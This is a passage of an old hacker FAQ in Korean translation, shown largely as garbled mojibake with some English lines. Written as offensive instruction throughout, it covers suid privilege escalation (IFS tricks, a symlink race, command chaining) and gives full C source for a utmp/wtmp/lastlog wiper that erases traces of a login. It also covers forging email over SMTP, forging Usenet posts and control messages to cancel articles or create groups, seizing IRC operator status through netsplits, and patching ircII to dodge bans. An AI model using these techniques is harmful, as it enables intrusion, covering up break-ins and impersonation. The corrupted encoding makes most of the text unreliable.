Á¦ÇÑ ½©¿¡¼­ "cd" ¸í·ÉÀ» »ç¿ëÇÒ ¼ö ¾øµµ·Ï ÇÑ´Ù¸é ±× °èÁ¤À¸·Î ftp¸¦ Çϸé cd¸¦ ÇÒ ¼ö ÀÖ´Ù.

suid ½ºÅ©¸³Æ®³ª ÇÁ·Î±×·¥¿¡¼­ ¾î¶»°Ô rootÀÇ ±ÇÇÑÀ» ¾òÀ» ¼ö ÀÖ³ª?

1. ÇÁ·Î±×·¥¿¡¼­ system()À» ÀÌ¿ëÇÏ¿© ´Ù¸¥ ÇÁ·Î±×·¥À» ºÎ¸¥´Ù.¸é, IFS¸¦ º¯°æÇÏ¿© ±× ÇÁ·Î±×·¥À» ¿ì·ÕÇÒ ¼ö ÀÖ´Ù. IFS´Â ³»ºÎ ÇÊµå ±¸ºÐÀÚ(Internal Field Separator)ÀÇ ¾àÀڷμ­ ½©¿¡¼­ Àμö¸¦ ±¸ºÐÇÏ´Â ¹®Àڷμ­ »ç¿ëÇÏ´Â °ÍÀÌ´Ù.

ÇÁ·Î±×·¥¿¡ ´ÙÀ½°ú °°Àº °ÍÀÌ Æ÷ÇԵȴٰí ÇÏÀÚ.

system("bin/data")

±×¸®°í IFS¸¦ '/'·Î º¯°æÇÏ¸é ½©Àº ¸í·ÉÀ» ´ÙÀ½°ú °°ÀÌ ¹ø¿ªÇÑ´Ù.

bin date

ÀÌÁ¦, ÇÁ·Î±×·¥ Áß¿¡ binÀ̶ó´Â °ÍÀÌ °æ·Î(path)Áß¿¡ ÀÖ´Ù¸é, suid ÇÁ·Î±×·¥Àº /bin/date ÇÁ·Î±×·¥ ´ë½Å binÀ̶ó´Â ÇÁ·Î±×·¥À» ¼öÇàÇÏ°Ô µÈ´Ù.

IFS¸¦ ¹Ù²Ù±â À§Çؼ­, ´ÙÀ½°ú °°Àº ¸í·ÉÀ» ÀÌ¿ëÇÑ´Ù.

IFS='/'; export IFS

setenv IFS '/'

export IFS='/'

2. ½ºÅ©¸³Æ®¸¦ -i·Î ¿¬°á(link)ÇÑ´Ù.

"-i"¶ó´Â ÇÁ·Î±×·¥À» ¸¸µé¾î ½Éº¼¸¯ ¸µÅ©(symbolic link)¸¦ ¸¸µç´Ù. "-i"¸¦ ¼öÇàÇÏ¸é ½©(/bin/sh)ÀÌ

»óÈ£ÀÛ¿ë(interactive) ¸ðµå°¡ µÇ°Ô ÇÑ´Ù. ÀÌ ¹æ¹ýÀº suid(set uid)µÇ¾î ÀÖ´Â ½ºÅ©¸³Æ®¿¡¼­¸¸ »ç¿ë°¡´ÉÇÏ´Ù.

¿¹:

% ln suid.sh -i

% -i

#

3. °æÀï Á¶°ÇÀ» ÀÌ¿ëÇÑ´Ù.

Ä¿³Î¿¡¼­ /bin/sh¸¦ ·ÎµåÇÒ ¶§ ´Ù¸¥ ÇÁ·Î±×·¥À¸·Î ÇÁ·Î±×·¥¿¡ ´ëÇÑ ½Éº¼¸¯ ¸µÅ©¸¦ ¹Ù²Û´Ù.

¿¹:

nice -19 suidprog; ln -s evilprog suidroot

4. ÇÁ·Î±×·¥¿¡ À߸øµÈ ÀÔ·ÂÀ» º¸³½´Ù.

ÇÁ·Î±×·¥°ú ´Ù¸¥ ¸í·ÉÀ» ÇÑ Ä¿¸Çµå ¶óÀο¡¼­ ¼öÇàÇÑ´Ù.

¿¹:

suidprog; id


½Ã½ºÅÛ ·Î±×¿¡¼­ ³» Á¸À縦 ¾ø¾Ö´Â ¹æ¹ýÀº?

/etc/utmp, /usr/adm/wtmp¿Í /usr/adm/lastlog ÆÄÀÏÀ» º¯°æÇÑ´Ù. À̰͵éÀº ÅؽºÆ® ÆÄÀÏÀÌ ¾Æ´Ï¶ó

¼­ vi·Î ÆíÁýÇÒ ¼ö ¾ø´Ù. Ưº°ÇÑ ¸ñÀûÀ» Áö´Ñ ÇÁ·Î±×·¥À» ÀÛ¼ºÇØ¾ß ÇÑ´Ù.

¿¹:

#include <sys/types.h>

#include <stdio.h>

#include <unistd.h>

#include <sys/file.h>

#include <fcntl.h>

#include <utmp.h>

#include <pwd.h>

#include <lastlog.h>

#define WTMP_NAME "/usr/adm/wtmp"

#define UTMP_NAME "/etc/utmp"

#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)

char *who;

{

struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {

while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )

if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

bzero((char *)&utmp_ent,sizeof( utmp_ent ));

lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);

write (f, &utmp_ent, sizeof (utmp_ent));

}

close(f);

}

}

void kill_wtmp(who)

char *who;

{

struct utmp utmp_ent;

long pos;

pos = 1L;

if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {

lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);

if (read (f, &utmp_ent, sizeof (struct utmp))<0) {

pos = -1L;

} else {

if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

bzero((char *)&utmp_ent,sizeof(struct utmp ));

lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);

write (f, &utmp_ent, sizeof (utmp_ent));

pos = -1L;

} else pos += 1L;

}

}

close(f);

}

}

void kill_lastlog(who)

char *who;

{

struct passwd *pwd;

struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {

lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);

bzero((char *)&newll,sizeof( newll ));

write(f, (char *)&newll, sizeof( newll ));

close(f);

}

} else printf("%s: ?\n",who);

}

main(argc,argv)

int argc;

char *argv[];

{

if (argc==2) {

kill_lastlog(argv[1]);

kill_wtmp(argv[1]);

kill_utmp(argv[1]);

printf("Zap2!\n");

} else

printf("Error.\n");

}




À§Á¶ ¸ÞÀÏ(E-mail)Àº ¾î¶»°Ô º¸³»³ª?

¸ÞÀÏÀÌ ¿Â °ÍÀ¸·Î º¸ÀÌ°Ô ÇÒ È£½ºÆ®ÀÇ 25 ¹ø Æ÷Æ®·Î telnetÀ» ÇÑ´Ù. ´ÙÀ½ ¿¹¿Í °°ÀÌ ¸Þ½ÃÁö¸¦ ÃÄ ³Ö´Â´Ù.

HELO bellcore.com

MAIL FROM:[email protected]

RCPT TO:[email protected]

DATA

From: [email protected] (The Voyager)

To: [email protected]

Subject: Clipper

Reply-To: [email protected]

Please discontinue your silly Clipper initiative.

.

QUIT

RFC 931¿¡ µû¶ó ±¸ÇöµÈ ½Ã½ºÅÛ¿¡¼­ "MAIL FROM:"À» ¼ÓÀÌ´Â °ÍÀº µÇÁö ¾Ê´Â´Ù. Àڽſ¡°Ô ¸ÕÀú À§Á¶ ¸ÞÀÏÀ» º¸³»¼­ È®ÀÎÇÑ´Ù.

RFC 822 "Standard for the format of ARPA Internet text messages"¿¡ ´õ ¸¹Àº Á¤º¸°¡ ÀÖ´Ù.


Usenet¿¡¼­´Â ¾î¶»°Ô À§Á¶ ¸Þ½ÃÁö¸¦ Á¶ÀÛÇÏ°í Æ÷½ºÆÃÇÒ ¼ö ÀÖ³ª?

From: Anonymous (Pretending to be: [email protected] (David C Lawrence))

Subject: FAQ: À§Á¶¸¦ ÅëÇÑ ´õ ³ªÀº »î Date: 19 Mar 1995 02:37:09 GMT

"anonymous" ÀçÀü¼Û ¸ÞÀÏÀ» ÀÌ¿ëÇÏÁö ¾Ê´Â ÀÍ¸í ³Ý´º½º(netnews).

ÃÖ±Ù "NetNews Judges-L"¿¡ ¿µ°¨À» ¾ò¾î¼­, ¿©±â¼­ Á¦¾î ¸Þ½ÃÁö¸¦ À§Á¶ÇÏ´Â °ÍÀ» Æ÷ÇÔÇϵµ·Ï ÇÏ¿´´Ù. µû¶ó¼­ µ¶ÀÚµéÀº ÀÚ½ÅÀÇ Åõ°í¸¦ Ãë¼ÒÇÏ°í ÀÚ½ÅÀÇ ´º½º±×·ìÀ» »ý¼ºÇÏ°í »èÁ¦ÇÒ ¼ö ÀÖ°Ô µÇ

¾ú´Ù. ¾î¶² ´º½º ±â»çµéÀ» ÀúÀåÇ϶ó. ¿©±â¼­´Â ±×°ÍÀ» "hak"À̶ó°í ¿¹¸¦ µé¾î ºÎ¸£°Ú´Ù. "hak"À» ÆíÁýÇÏ°í ¹®¼­Çü½Ä¿¡¼­ ÇØ´õ´Â Á¦°ÅÇÑ´Ù.

From some!random!path!user (note: "From ", not "From: " !!)

Article:

Lines:

Xref:

Path: ÀÇ Çì´õ¸¦ ¸¶Áö¸· µÎ ¼¼ °³ÀÇ ±îÁö·Î ÁÙÀδÙ.

ÀÌ°ÍÀº ´º½º ±â»ç°¡ ¿ø·¡ÀÇ °÷¿¡¼­ Æ÷½ÃÆà µÈ °Íó·³ º¸À̰ųª, º¸³½ °÷ÀÇ ±ÙóÀÇ È£½ºÆ®¿¡¼­ º¸³½ °Í ó·³ ¸¸µç´Ù. ¶Ç´Â ÀüÇô »õ·Î¿î Path: ÁÙÀ» ¸¸µé¾î¼­ °¡Â¥ ¿¡Àϸ®¾î½º(alias)¸¦ ³ªÅ¸³»°Ô ÇÒ ¼ö ÀÖ´Ù.

´Ù¸¥ °÷°ú °ãÄ¡Áö ¾ÊÀ»¸¸ÇÑ °ÍÀ¸·Î Message-ID: Çʵ带 º¯°æÇÑ´Ù. ÀÌ°ÍÀº @¾Õ¿¡ µÎ ÀÚ Á¤µµÀÇ ¾Æ¹« ±ÛÀÚ³ª Ãß°¡ÇÔÀ¸·Î¼­ ÇÒ ¼ö ÀÖ´Ù. ¿Ö³ÄÇÏ¸é ´º½º Æ÷½ºÆà ÇÁ·Î±×·¥Àº ´ë°³ °íÁ¤±æÀÌ Çʵ带 ÀÌ¿ëÇÏ¿© ÀÌ·¯ÇÑ ID¸¦ ¸¸µé±â ¶§¹®ÀÌ´Ù.

¾²°í ½ÍÀº ¾Æ¹« °ÍÀ̳ª¸¦ ´Ù¸¥ ÇØ´õ¿¡ ³Ö´Â´Ù. --From:, Newsgroups:,

Sender: µî. ¿ø·¡ÀÇ ¸Þ½ÃÁö¸¦ ÀÚ½ÅÀÇ ¸Þ½ÃÁö·Î ¹Ù²Û´Ù. °ü¸®µÇ°í ÀÖ´Â ´º½º±×·ì¿¡ Æ÷½ºÆÃÀ» ÇÒ ¶§³ª Á¦¾î ¸Þ½ÃÁö¸¦ Æ÷½ÃÆÃÇÒ ¶§, Approved: Çì´õ¸¦ ³Ö¾î¼­ °ü¸® ¸ÞÄ«´ÏÁòÀ» ÇÇÇØ°¡´Â °ÍÀ» ÀØÁö ¸»¾Æ¾ß ÇÑ´Ù.

´Ù¸¥ »ç¶÷ÀÇ ±â»ç¸¦ Ãë¼ÒÇÒ·Á°í ÇÒ ¶§, ±×°ÍÀÇ message-ID°¡ ÀÖ¾î¾ß ÇÑ´Ù. ÀÌ¹Ì ÀÖ´Â ¸Þ½ÃÁö Çì´õ¿Í ÀÚ½ÅÀÇ ¸Þ½ÃÁö Çì´õ´Â message-ID¿Í ´õºÒ¾î ´ÙÀ½°ú °°Àº °ÍÀ» Æ÷ÇÔÇØ¾ß ÇÑ´Ù. ÀÌ°ÍÀº "control message"¸¦ ¸¸µç´Ù. ÁÖÀÇ: Á¦¾î ¸Þ½ÃÁö(control messages)´Â ´ë°³ Approved: ÇØ´õ°¡ ÇÊ¿äÇϹǷΠÇϳª¸¦ Ãß°¡Çϵµ·Ï ÇÑ´Ù.

Approved: header as well, so you should add one.

Subject: cmsg cancel <[email protected]>

Control: cancel <[email protected]>

Approved: [email protected]

Newsgroups are created and destroyed with control messages, too. If

you wanted to create, for instance, comp.misc.microsoft.sucks, your

control headers would look like

Subject: cmsg newgroup comp.misc.microsoft.sucks

Control: newgroup comp.misc.microsoft.sucks

±×·ìÀÌ "moderated with no moderator"(°ü¸®ÀÚ¾øÀÌ °ü¸®µÊ)À» ¿øÇÒ °æ¿ì ¹®ÀÚ¿­ "moderated"¸¦

ÀÌ ³¡¿¡ ºÙÀδÙ. ¸Þ½ÃÁöÀÇ º»¹® Áß°£¿¡ »ý¼ºÇÏ·Á´Â ±×·ì¿¡ ´ëÇÑ ¼³¸í°ú ÇÔ²² º¯°æµÈ ´ÙÀ½°ú °°Àº ÅؽºÆ®¸¦ Æ÷ÇÔÇØ¾ß ÇÑ´Ù.

For your newsgroups file:

comp.misc.microsoft.sucks We don't do windows

±×·ìÀ» ¾ø¾Ö±â À§Çؼ­ ¾ÕÀÇ Çì´õ ÁÙ¿¡¼­ "newsgroup"¸¦ "rmgoup"À¸·Î ´ëÄ¡ÇÑ´Ù. ´ëºÎºÐÀÇ »çÀÌÆ®¿¡¼­ "rmgroup" ¿äûÀ» °ü¸®ÇÏ´Â »ç¶÷ÀÌ ±×·¸°Ô ÇÒ °ÍÀÎÁö ¾Æ´ÑÁö¸¦ Á¤ÇÏ°Ô ÇÏ°í ÀÖ´Ù´Â °ÍÀ» ¸í½ÉÇÏÀÚ. ±×·ì »ý¼ºÀº ¾Æ¸¶µµ »èÁ¦º¸´Ù´Â ÀÚµ¿È­µÇ¾î ÀÖÀ» °ÍÀÌ´Ù. ´º½º±×·ì º¯°æÀº ³ª ÀÚ½ÅÀ¸·ÎºÎÅÍÀÇ °ÍÀÏ °æ¿ì È¿°ú°¡ ÀÖÀ» °¡´É¼ºÀÌ ³ô¤§. ¿Ö³ÄÇÏ¸é ³ªÀÇ À̸§ÀÌ ¸¹Àº NNTP ¼­¹öÀÇ Á¦¾î ½ºÅ©¸³Æ®¿¡ µé¾î Àֱ⠶§¹®ÀÌ´Ù. µû¶ó¼­ ÀÌ Æ÷½ºÆÃÀÇ Çì´õ·ÎºÎÅÍ From: °ú Approved: À» ÀÌ¿ëÇÏÀº °ÍÀ» ±Ç°íÇÑ´Ù.

º¯°æµÈ ±â»ç¸¦ ÀúÀåÇÏ°í ÀÚ½ÅÀÇ »çÀÌÆ®³ª ÀÚ½ÅÀ» °¡¸®Å°´Â °ÍÀÌ ¾øµµ·Ï È®½ÇÇÏ°Ô ÇÑ´Ù. ±×¸®°í ÀÚ½ÅÀÌ Á¦ÀÏ ÁÁ¾ÆÇÏ´Â IHAVE ¸í·ÉÀ» Àü´ÞÇÒ ¼ö ÀÖ´Â NNTP ¼­¹ö¿¡ º¸³½´Ù. ÀÌ ¶§ ´ÙÀ½°ú °°Àº ½ºÅ©¸³Æ®¸¦ ÀÌ¿ëÇÑ´Ù.

=======================

#! /bin/sh

## Post an article via IHAVE.

## args: filename server

if test "$2" = "" ; then

echo usage: $0 filename server

exit 1

fi

if test ! -f $1 ; then

echo $1: not found

exit 1

fi

# suck msg-id out of headers, keep the brackets

msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \

sed 's/.*-[Ii][Dd]: //'`

echo $msgid

( sleep 5

echo IHAVE $msgid

sleep 5

cat $1

sleep 1

echo "."

sleep 1

echo QUIT ) | telnet $2 119

=======================

±â»ç°¡ ÇϷ糪 ÀÌƲ »çÀÌ¿¡ ³ªÅ¸³ªÁö ¾ÊÀ» °æ¿ì, ´Ù¸¥ ¼­¹ö¸¦ ½ÃµµÇغ»´Ù. ¼­¹ö´Â ã±â ½±´Ù. ¿©±â¿¡ ÀúÀåµÈ ³×Æ®´º½º¸¦ ½ÃµµÇØ º¼ ¼ö ÀÖ´Â ¼­¹öÀÇ ¸ñ·ÏÀ¸·Î ³ª´©¾îÁÖ´Â ½ºÅ©¸³Æ®°¡ ÀÖ´Ù. ¿©±â¼­ ³ª¿À°Ô µÉ °á°ú¸¦ ÆíÁýÇÏ¿© »ç¶÷ À̸§ÀÌ ºÐ¸íÇÑ °Í°ú ´Ù¸¥ ¾²·¹±âµéÀ» Á¦°ÅÇÏ°í »ç¿ëÇÏ¸é µÈ´Ù.

=======================

#! /bin/sh

FGV='fgrep -i -v'

egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\

/g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp

=======================

Once you have your host list, feed it to the following script.

=======================

#! /bin/sh

while read xx ; do

if test "$xx" = "" ; then continue;

fi

echo === $xx

( echo open $xx 119

sleep 5

echo ihave [email protected]

sleep 4

echo .

echo quit

sleep 1

echo quit

) | telnet

done

=======================

À§ÀÇ ½ºÅ©¸³Æ®ÀÇ À̸§ÀÌ "findem"ÀÌ°í cshÀ» ÀÌ¿ëÇÏ°í ÀÖ´Ù¸é,

findem < list >& outfile

¶ó°í ¸í·É¾î¸¦ ÀÔ·ÂÇÏ¿© ¸ðµç telnetÀÇ Ãâ·ÂÀ» ÀúÀåÇÒ ¼ö ÀÖµµ·Ï ÇÑ´Ù. ½Ã°£ÀÌ ¿À·¡°É¸± ¼öµµ ÀÖÀ¸³ª, ³¡³ª¸é "outfile"À» ÆíÁýÇÏ°í "335"°¡ ÀÖ´Â °÷À» ã´Â´Ù. ÀÌ°ÍÀº ¼­¹ö°¡ ±â»ç¸¦ ¹ÞÀ» Áغñ°¡ µÇ¾ú´Ù´Â °ÍÀ» ÀǹÌÇÑ´Ù. ÀÌ°ÍÀº ¿ÏÀüÈ÷ ¹ÏÀ»¸¸ÇÑ Ç¥½Ã´Â ¾Æ´Ï´Ù. ¿Ö³ÄÇÏ¸é ¾î¶² ¼­¹ö´Â ±â»ç¸¦ ¹Þ°Ú´Ù°í ÀÀ´äÀ» ÇÏ°í³ª¼­ ±â»ç¸¦ ¹ö¸®´Â °æ¿ìµµ Àֱ⠶§¹®ÀÌ´Ù. ´Ù¸¥ »ç¶÷ÀÇ ¸Þ½ÃÁö¸¦ ¾à°£¸¸ º¯ÇüÇؼ­ ¼­¹ö¿¡ º¸³»º» µÚ ±â»ç³ª ³ªÅ¸³ª´ÂÁö¸¦ È®ÀÎÇÑ´Ù. ¶§¶§·Î telnetÀÌ ÀÌ»óÇÑ »óÅ¿¡ ºüÁ® ¸ØÃ߱⵵ ÇÑ´Ù. ƯÈ÷ ¼­¹ö°¡ NNTP ¿¬°áÀ» °ÅºÎÇÏ´Â °æ¿ì¿¡ ƯÈ÷ ±×·¸´Ù. ¸¸ÀÏ ¸ØÃß¾î ¹ö¸° telnet ÇÁ·Î¼¼½º¸¦ kill¸í·ÉÀ¸·Î Á×ÀÌ°í ½ºÅ©¸³Æ®´Â ¼öÇà»óÅ·Π³õ¾ÆµÐ´Ù¸é, ½ºÅ©¸³Æ®´Â °è¼Ó ¼öÇàµÈ´Ù. ´Ù½Ã ¸»Çؼ­ ¼öÇàÁßÀÎ finding script¸¦ Àá½Ã °¨½ÃÇØ¾ß ÇÑ´Ù.

IHAVE ¸¦ ¹Þ¾ÆµéÀÌÁö ¾ÊÀ¸¸é¼­ "posting ok"¸¦ º¸³»´Â ¼­¹ö¸¦ ¹ß°áÇÒ ¼öµµ ÀÖ´Ù. ÀÌ·± ¼­¹öµéÀº POSTS¸¦ ÅëÇؼ­ ÇÒ ¼ö ÀÖÀ» °ÍÀÌ´Ù. ±×·¯³ª, ÀÌ·± ¼­¹öµéÀº ¾îµð¼­ºÎÅÍ ¿¬°áµÈ °ÍÀÎÁö¸¦ Æ÷ÇÔÇÏÀº Çì´õ¸¦ °¡Áö´Â "NNTP-Posting-Host: "¸¦ Ãß°¡ÇÒ °ÍÀÌ´Ù. ±×·¯¹Ç·Î ¿ÏÀüÈ÷ À͸íÀÌ µÉ ¼ö ¾ø´Ù.

¿©±â¿¡ ³ª¿Â Á¤º¸¸¦ °Ç¼³ÀûÀÎ ¸ñÀûÀ¸·Î¸¸ »ç¿ëÇϱ⸦ ¹Ù¶õ´Ù.


IRC¿¡¼­ ¾î¶»°Ô ChanOp(channel operator)¸¦ ÇØÅ·ÇÒ ¼ö ÀÖ³ª?

´Ù¸¥ IRC ¼­¹öµé°ú ºÐ¸®µÈ ¼­¹ö¸¦ ã¾Æ³½´Ù. ±×¸®°í ä³Î OP°¡ µÇ°í ½ÍÀº ä³ÎÀÇ À̸§À» °¡Áö°í »õ·Î¿î ä³ÎÀ» ¸¸µç´Ù. ¼­¹ö°¡ IRC ³×Æ®¿öÅ©¿¡ ¿¬°áµÉ ¶§, ½ÇÁ¦ ä³Î¿¡¼­µµ OP±î µÈ´Ù. ¼­¹ö OPÀÏ °æ¿ì °íÀÇ·Î ¼­¹ö¸¦ ºÐ¸®ÇÒ ¼ö ÀÖ´Ù.


¾î¶»°Ô IRC Ŭ¶óÀ̾ðÆ®¸¦ °íÃļ­ ³» ÁøÂ¥ À̸§À» ¼û±æ ¼ö ÀÖ³ª?

ÁÖ¸ñ : ÀÌ FAQ´Â ´Ù¸¥ »ç¶÷ÀÌ ÀÛ¼ºÇÑ °ÍÀÌ´Ù. ±×·¯³ª, ³ª´Â ±×°¡ ´©±¸ÀÎÁö ¸ð¸¥´Ù. ´©°¡ óÀ½ ÀÌ°ÍÀ» ÀÛ¼ºÇß´ÂÁö ¾Æ´Â »ç¶÷Àº ¸ÞÀÏÀ» º¸³»ÁÖ¾úÀ¸¸é ÁÁ°Ú´Ù.

-Àο빮 ½ÃÀÛ-

ircII Ŭ¶óÀ̾ðÆ®ÀÇ ¿ø½ÃÄڵ忡 ´ÙÀ½°ú °°Àº º¯°æÀ» ÇÏ°í³ª¼­ ´Ù½Ã ÄÄÆÄÀÏÀ» ÇÒ °æ¿ì »õ·Î¿î ¸í·É /NEWUSER ¸í·ÉÀ» »ç¿ëÇÒ ¼ö ÀÖ´Ù. ÀÌ ¸í·ÉÀº ´ÙÀ½°ú °°ÀÌ »ç¿ëÇÒ ¼ö ÀÖ´Ù.

<new_username>Àº »ç¿ëÇÏ°Ô µÉ »õ·Î¿î »ç¿ëÀÚ À̸§À̸ç ÇʼöÀÌ´Ù. [new_IRCNAME]Àº »õ·Î »ç

¿ëÇÏ°Ô µÉ IRCNAMEÀÌ¸ç ¿É¼ÇÀÌ´Ù.

ÀÌ·¸°Ô Çϸé ÀÏ´Ü ¼­¹ö¿¡¼­ ºÐ¸®ÇÏ°í³ª¼­ »õ·Î¿î Á¤º¸¸¦ ÀÌ¿ëÇÏ¿© ´Ù½Ã Á¢¼ÓÇÏ°Ô µÈ´Ù. ÇöÀç ÀÖ´ø ¸ðµç ä³Î¿¡ ´Ù½Ã µé¾î°¡°ÔµÇ°í ÇöÀç º°¸í(nickname)À» À¯ÁöÇÑ´Ù.

È¿°ú´Â ¼öÇàÁß¿¡ »ç¿ëÀÚÀ̸§°ú IRCnameÀ» ¹Ù²Ü¼ö ÀÖ´Ù´Â °ÍÀÌ´Ù. ¼­¹ö¿¡¼­ ºÐ¸®µÇ¾ú´Ù°¡ ´Ù½Ã Á¢¼ÓÇÏ´õ¶óµµ ircII Ŭ¶óÀ̾ðÆ®´Â ºüÁ®³ª°£ °ÍÀÌ ¾Æ´Ï´Ù. ±×·¯¹Ç·Î »óÅÂÁ¤º¸³ª ¿¡À̸®¾î½º(alias)Àº ±×´ë·Î À¯ÁöµÈ´Ù. ÀÌ ¹æ¹ýÀº ±ÝÁö(ban)»óÅ¿¡ ÀÖ´Â (ro)botµéÀ» Á¤¸»·Î ±ÍÂú°Ô Çϴµ¥ ÀÌ»óÀûÀÌ´Ù.

ÀÌ°ÍÀº ircII¿¡¼­ »õ·Î¿î ¸í·ÉÀ̹ǷΠ½ºÅ©¸³Æ®·Î »ç¿ëÇÒ ¼ö ÀÖ´Ù. NEWUSER ¸í·ÉÀ¸·Î ÀçÁ¢¼ÓÇÒ ¶§ ½Ã°£ÀÌ °É¸°´Ù´Â µ¥ À¯ÀÇÇϱ⠹ٶõ´Ù. NEWUSER ´ÙÀ½¿¡ ¼öÇàµÇ¾î¾ß ÇÒ ¸í·É¿¡ TIMER¸¦ ÁÖµµ·Ï Ç϶ó. ¿¹¸¦ µé¾î, ban ȸÇÇ´Â ¸Å¿ì ½±´Ù(±×·¯³ª »çÀÌÆ® Àüü°¡ ±ÝÁöµÇ¾úÀ» ¶§ ¹«ÇÑ ÀçÁ¢¼ÓÀ» ½ÃµµÇÏ°Ô µÊ¿¡ À¯ÀÇÇ϶ó)

on ^474 * {

echo *** Banned from channel $1

if ($N == [AnnMurray]) {

nick $randomstring

join $1

} {

nick AnnMurray

newuser $randomstring

timer 5 join $1

}

}

¶Ç´Â ±ÍÂú°Ô Çϱâ À§Çؼ­ /BE <nickname> Àº username°ú IRCNAMEÀ» ¿¡Àϸ®¾î½ºÇÒ ¼ö ÀÖ´Ù.

^on ^311 * {

^on 311 -*

newuser $2 $5-

}

whois $0

}

ÀÌÁ¦.. ircII Ŭ¶óÀ̾ðÆ®¿¡ »õ·Î¿î ¸í·ÉÀ» Ãß°¡Çϱâ À§Çؼ­, ÃֽŠŬ¶ó¾ðÆ®ÀÇ ¼Ò½º Äڵ带 ±¸ÇÏ°í

(¾Æ´Ï¸é Áö±Ý »ç¿ëÇÏ°í Àִ Ŭ¶óÀ̾ðÆ®ÀÇ ¼Ò½ºÄÚµå¶óµµ). "edit.c"°¡ ÀÖ´Â µð·ºÅ丮·Î µé¾î°¡¼­ ±× ÆÄÀÏÀ» °íÄ£´Ù. ´ÙÀ½°ú °°Àº ¼öÁ¤À» ÇÑ´Ù.

´ÙÀ½ ¹®ÀåÀÌ ÀÖ´Â ÁÙÀ» ã´Â´Ù.

extern void server();

´ÙÀ½°ú °°Àº ¹®ÀåÀ» ±× ÁÙ µÚ¿¡ ³Ö´Â´Ù.

static void newuser();

ÀÌ°ÍÀº µÚ¿¡ Ãß°¡ÇÒ "newuser()"ÇÔ¼ö¸¦ ¹Ì¸® Á¤ÀÇÇÑ´Ù.

ÀÌÁ¦, ´ÙÀ½°ú °°Àº ¹®ÀåÀÌ ÀÖ´Â ÁÙÀ» ã´Â´Ù.

"NAMES", "NAMES", funny_stuff, 0,

±× µÚ¿¡ ´ÙÀ½°ú °°Àº ¹®ÀåÀ» ³Ö´Â´Ù.

"NEWUSER", NULL, newuser, 0,

À̸®Çϸé Á¤´çÇÑ IRCII ¸í·É¿¡ NEWUSER¶ó´Â »õ·Î¿î ¸í·ÉÀ» Ãß°¡ÇÏ°Ô µÈ´Ù. ±×¸®°í ±× ±â´ÉÀ» ¼öÇàÇϱâ À§Çؼ­ »õ·Î¿î ÇÔ¼ö newuser()¸¦ ºÎ¸£°Ô ÇÑ´Ù.

¸¶Áö¸·À¸·Î ÆÄÀÏÀÇ ¸Ç ³¡À¸·Î°¡¼­ "newuser()"ÇÔ¼ö¸¦ Ãß°¡ÇÑ´Ù.

/*

* newuser: the /NEWUSER command. Added by Hendrix

* Parameters as follows:

* /NEWUSER <new_username> [new_IRCNAME]

* <new_username> is a new username to use and is required

* [new_IRCNAME] is a new IRCNAME string to use and is optional

* This will disconnect you from your server and reconnect using

* the new information given. You will rejoin all channels you

* are currently on and keep your current nickname.

*/

static void newuser(command, args)

char *command,

*args;

{

char *newuname;

if (newuname = next_arg(args, &args))

{

strmcpy(username, newuname, NAME_LEN);

if (*args)

strmcpy(realname, args, REALNAME_LEN);

say("Reconnecting to server...");

close_server(from_server);

if (connect_to_server(server_list[from_server].name,

server_list[from_server].port, primary_server) != -1)

{

change_server_channels(primary_server, from_server);

set_window_server(-1, from_server, 1);

}

else

say("Unable to reconnect. Use /SERVER to connect.");

}

else

say("You must specify a username and, optionally, an IRCNAME");

}

-Àο빮 ³¡-

/NEWUSER´Â CTCP Äõ¸®(query)¿¡¼­ ¼û°ÜÁÙ ¼ö ÀÖ´Â °ÍÀÌ ¾Æ´Ï´Ù. ±×·¸°Ô Çϱâ À§Çؼ­´Â ctcp.c¸¦ ´ÙÀ½¿¡¼­ º¸¿©ÁÖ´Â ¹Ù¿Í °°ÀÌ ¼öÁ¤ÇØ¾ß ÇÑ´Ù. ±×¸®°í CTCPFINGER¶ó´Â ȯ°æº¯¼ö¸¦ Äõ¸®°¡ µé¾î¿Ã ¶§ º¸¿©ÁÖ°íÀÚ ÇÏ´Â Á¤º¸·Î ¼³Á¤ÇÏ¸é µÈ´Ù.

*** ctcp.old

--- ctcp.c

***************

*** 334 ****

! char c;

--- 334 ---

! char c, *fing;

***************

*** 350,354 ****

! if (pwd = getpwuid(uid))

{

char *tmp;

--- 350,356 ----

! if (fing = getenv("CTCPFINGER"))

! send_ctcp_reply(from, ctcp->name, fing, diff, c);

! else if (pwd = getpwuid(uid))

{

char *tmp;


ÀÌ»óÇÑ ¹®ÀÚ°¡ µé¾îÀÖ´Â µð·ºÅ丮¿¡ ¾î¶»°Ô µé¾î°¥ ¼ö ÀÖ³ª?

ÀÌ·¯ÇÑ µð·ºÅ丮´Â Á¤º¸¸¦ ¼û±â°íÀÚ ÇÏ´Â »ç¶÷µé¿¡ ÀÇÇؼ­ ÀÌ¿ëµÈ´Ù. ´ëºÎºÐÀº warez(ºÒ¹ý »ó¾÷¿ë ÇÁ·Î±×·¥)ÀÇ »ç¶÷µéÀÌ´Ù.

ÀÌ·¯ÇÑ ÀÌ»óÇÑ ¹®ÀÚ°¡ ¹«¾ùÀÎÁö ¾Ë¾Æ³»´Â ¸î°¡Áö ¹æ¹ýÀÌ ÀÖ´Ù. ÇÑ °¡Áö ¹æ¹ýÀ¸·Î ls ¸í·ÉÀÇ ÀμöÀ» ÀÌ¿ëÇÏ¿© ls°¡ Á¤º¸¸¦ º¸¿©ÁÖµµ·Ï ÇÏ´Â ¹æ¹ýÀÌ´Ù.

> lsÀÇ man ÆäÀÌÁö¿¡ ´ÙÀ½°ú °°ÀÌ ¼³¸íµÇ¾î ÀÖ´Ù.

-F Causes directories to be marked with a trailing ``/'',

executable files to be marked with a trailing ``*'', and

symbolic links to be marked with a trailing ``@'' symbol.

